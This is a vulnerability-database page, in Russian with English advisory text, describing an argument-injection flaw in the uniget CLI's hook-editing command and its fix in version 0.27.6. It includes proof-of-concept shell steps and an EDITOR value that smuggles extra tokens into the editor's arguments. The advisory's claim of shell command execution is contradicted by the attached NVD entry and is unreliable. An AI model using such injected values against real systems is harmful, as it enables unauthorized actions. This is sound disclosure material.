Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-qmcq-xw74-w667

Опубликовано: 17 авг. 2026
Источник: github
Github: Прошло ревью
CVSS4: 6.9

Описание

uniget CLI has an EDITOR Command Injection

Summary

The uniget CLI has a command injection vulnerability in hooks.go line 199 where strings.Split(editor, " ") naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.

Vulnerable Code:

editorWithArgs := strings.Split(editor, " ")

Location Context:

editor := os.Getenv("UNIGET_EDITOR") if len(editor) == 0 { editor = os.Getenv("EDITOR") } editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)

Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.

Step to Reproduce

**Step 1: **Create malicious editor wrapper

mkdir -p /tmp/poc-editor cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF' #!/bin/bash echo "[EDITOR] Received args: $@" id EOF chmod +x /tmp/poc-editor/editor_wrapper.sh

**Step 2: **Create test hook

mkdir -p ~/.config/uniget/hooks/pre-install cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF' #!/bin/bash echo "Test hook" EOF chmod 700 ~/.config/uniget/hooks/pre-install/test.sh

Step 3: Set injection payload

export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo"

Step 4: Run vulnerable code

cd /home/w4nn4d13/Downloads/cli go build -o uniget ./cmd/uniget ./uniget hooks edit --type=pre-install test.sh

Step 5: Observe output

[EDITOR] Received args: && id && echo /path/to/hook uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)
image

Пакеты

Наименование

gitlab.com/uniget-org/cli

go
Затронутые версииВерсия исправления

< 0.27.6

0.27.6

EPSS

Процентиль: 2%
0.00116
Низкий

6.9 Medium

CVSS4

Дефекты

CWE-88

Связанные уязвимости

nvd
7 дней назад

uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, " ") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory's wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.

EPSS

Процентиль: 2%
0.00116
Низкий

6.9 Medium

CVSS4

Дефекты

CWE-88